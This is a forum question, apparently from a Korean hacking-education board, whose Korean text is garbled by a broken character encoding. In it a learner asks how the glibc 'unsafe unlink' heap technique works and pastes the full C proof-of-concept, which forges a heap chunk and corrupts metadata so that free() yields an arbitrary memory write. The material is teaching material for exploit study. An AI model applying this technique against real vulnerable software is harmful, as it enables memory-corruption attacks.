|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1874 [º¹»ç]
chunk0ÀÇ »çÀÌÁî, Áï chunk1ÀÇ prev_sizeÀÇ °ªÀ» 0x80À¸·Î ÁÙ¿©ÁÖ´Â°Ô ÀÌÇØ°¡ Àß¾ÈµÇ³×¿ë ¤Ð ±×·¡¼ ±×·±°¡ µÚÂÊ¿¡
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
ÀÌ ¿µ¿ªµµ Àß ÀÌÇØ°¡ ¾ÈµÇ±¸¿ë ¤Ð
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
ÀÌ°Ç 0x80À¸·Î ¼³Á¤ÇØÁÖ´Â °Å±¸¿ë...
unlink¸ÞÄ¿´ÏÁò ÀÚü´Â ¾î´ÀÁ¤µµ ÀÌÇØ°¡ µÇ´Âµ¥...
Àú°Å º¸´Ï±î Àß ÀÌÇØ°¡ ¾ÈµÇ³×¿ë ¤Ð¤Ð
±×¸®°í Fake chunk fd: 0x602048
Fake chunk bk: 0x602050
°¡ ÀÌ·¸°í
The global chunk0_ptr is at 0x602060, pointing to 0x2142420
°¡ ÀÌ·¯¸é,
º»·¡ chunk0_ptr¿¡ mallocÀ» ÇßÀ» ½Ã ¸®ÅϰªÀÌ mallocµÈ heapÀÇ userdata¿µ¿ªÀÇ ÁÖ¼ÒÀ̴ϱî...
unlink¸ÅÅ©·Î¿¡¼ P´Â heapÀÇ ÁÖ¼Ò°¡ µÇ¾ßÇϴ°Š¾Æ´Ñ°¡¿ä?
Á¶±Ý µÚÁ×¹ÚÁ×Àε¥ Âû¶±°°ÀÌ ¾Ë¾Æµé¾îÁÖ¼ËÀ¸¸é ¤Ð_¤Ð....
ÇØ´ç¼Ò½º Àüü´Â ÀÌ·¸½À´Ï´ç.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
}
|
Hit : 5286 Date : 2017/05/10 01:27
|